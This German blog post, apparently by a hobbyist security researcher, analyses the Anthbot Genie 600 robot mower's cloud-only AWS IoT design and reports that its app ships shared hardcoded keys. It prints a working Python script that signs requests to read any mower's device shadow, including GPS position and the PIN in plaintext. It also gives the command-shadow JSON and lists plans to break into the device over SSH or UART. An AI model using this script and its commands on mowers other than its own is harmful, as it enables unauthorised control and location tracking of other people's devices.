Anthbot Genie 600 Mähroboter gehackt - hardcodierte AWS-Keys und PIN im Klartext

Ich hab mir einen Anthbot Genie 600 Mähroboter gekauft und wollte wissen was der so treibt. Nach ein paar Stunden nmap, tcpdump und Python-Scripting hatte ich Zugriff auf den kompletten Gerätestatus, alle Sensordaten und kann Befehle senden. Dumm nur dass Anthbot in ihrer App hardcodierte AWS-Credentials verwendet die jeder auslesen kann. Damit kann jeder der eine Seriennummer kennt jeden Anthbot-Mäher weltweit steuern.

Cloud-only Architektur

Der Mäher hat keine lokale API. Alles läuft über AWS IoT in Frankfurt (eu-central-1). Das Gerät pusht alle 4-5 Sekunden seinen Status in ein AWS IoT Device Shadow. Die App liest und schreibt dieses Shadow, das Gerät synchronisiert sich automatisch. Kein direkter Kontakt zwischen App und Mäher nötig.

Ein Device Shadow ist ein JSON-Dokument in der Cloud das den kompletten Gerätezustand spiegelt. Es gibt zwei Shadows: property für Status und Sensordaten, service für Befehle und OTA-Updates.

Die Sicherheitslücke

Im GitHub-Repository vincentjanv/anthbot_genie_ha stehen hardcodierte AWS Access Keys die aus der offiziellen Anthbot-App extrahiert wurden. Diese Keys erlauben:

AWS IoT Device Shadow lesen für jedes beliebige Anthbot-Gerät weltweit (nur Seriennummer muss bekannt sein)

Device Shadow schreiben (Befehle senden)

Kein S3-Zugriff (Firmware ist in separatem Bucket)

Das ist ein schwerwiegender Security-Bug: Geteilte IoT-Credentials für alle Geräte statt per-device-Zertifikate. Jeder der eine Seriennummer kennt (z.B. aus einem Foto des Etiketts) kann das Gerät auslesen und steuern.

Shadow auslesen

Der Shadow enthält alles: Akkustand, GPS-Position, WiFi-IP, Schnitthöhe, Mähpläne. Und den PIN-Code im Klartext.

import datetime, hashlib, hmac, json, urllib.request

ACCESS_KEY = "..." # siehe github.com/vincentjanv/anthbot_genie_ha
SECRET_KEY = "..." # const.py, EU-Region
REGION = "eu-central-1"
HOST = "a2bhy9nr7jkgaj-ats.iot.eu-central-1.amazonaws.com"
SN = "XXXXXXXXXXXX"

def sign(key, msg):
return hmac.new(key, msg.encode(), hashlib.sha256).digest()

def get_sig_key(secret, date, region, service):
return sign(sign(sign(sign(("AWS4"+secret).encode(), date), region), service), "aws4_request")

now = datetime.datetime.utcnow()
amz_date = now.strftime('%Y%m%dT%H%M%SZ')
date_stamp = now.strftime('%Y%m%d')
path = f"/things/{SN}/shadow"
query = "name=property"
payload_hash = hashlib.sha256(b"").hexdigest()
headers = f"host:{HOST}\nx-amz-content-sha256:{payload_hash}\nx-amz-date:{amz_date}\n"
signed_headers = "host;x-amz-content-sha256;x-amz-date"
canonical = f"GET\n{path}\n{query}\n{headers}\n{signed_headers}\n{payload_hash}"
credential_scope = f"{date_stamp}/{REGION}/iotdata/aws4_request"
string_to_sign = f"AWS4-HMAC-SHA256\n{amz_date}\n{credential_scope}\n{hashlib.sha256(canonical.encode()).hexdigest()}"
sig_key = get_sig_key(SECRET_KEY, date_stamp, REGION, "iotdata")
signature = hmac.new(sig_key, string_to_sign.encode(), hashlib.sha256).hexdigest()
auth = f"AWS4-HMAC-SHA256 Credential={ACCESS_KEY}/{credential_scope}, SignedHeaders={signed_headers}, Signature={signature}"
url = f"https://{HOST}{path}?{query}"
req = urllib.request.Request(url, headers={"host": HOST, "x-amz-date": amz_date, "x-amz-content-sha256": payload_hash, "Authorization": auth})
with urllib.request.urlopen(req, timeout=10) as r:
print(json.dumps(json.loads(r.read()), indent=2))

Der Shadow zeigt mir alles: Akkustand 100%, Status "charge", GPS-Koordinaten, kartierte Fläche 517m², Schnitthöhe 50mm, Mähplan für jeden Tag 21:00-08:00 Uhr. Und eben den PIN-Code.

Befehle senden

Befehle schreibt man in den Service Shadow:

POST /things/SN/shadow?name=service
{
"state": {
"desired": {
"cmd": "mow_start",
"data": 1
}
}
}

Bekannte Befehle: mow_start, stop_all_tasks, charge_start, param_set für Schnitthöhe, volume_ctl für Lautstärke. Das Gerät pollt das Shadow alle paar Sekunden und führt die Befehle aus.

SSH noch nicht geknackt

Port 22 ist offen (Dropbear SSH, Linux), aber ich hab das Passwort noch nicht. Alle Standard-Credentials probiert, nichts funktioniert. Nächster Schritt wäre UART-Zugang: Gerät aufschrauben, UART-Pins finden, USB-UART-Adapter dran, Bootloader-Ausgabe abfangen. Oder die Firmware via Phone-MITM runterladen und mit binwalk analysieren.

Monitoring läuft

Ich hab ein Python-Script das alle 30 Sekunden den Shadow pollt und in InfluxDB schreibt. Läuft als systemd-Service auf meinem homelab server. Akkustand, Mähzeit, GPS-Position, Wartungsstatus, alles in Grafana.

[[img:1]]

Was noch kommt

Firmware .MowerPack runterladen und entpacken

SSH-Passwort via UART ermitteln

Kamera-Feed untersuchen (das Ding hat eine Kamera!)

Sicherheitslücke an Anthbot reporten

Prüfen ob die Keys wirklich auf alle Anthbot-Geräte zugreifen

Bis dahin: Mein Mäher steht unter Monitoring und ich kann ihn per Python-Script steuern.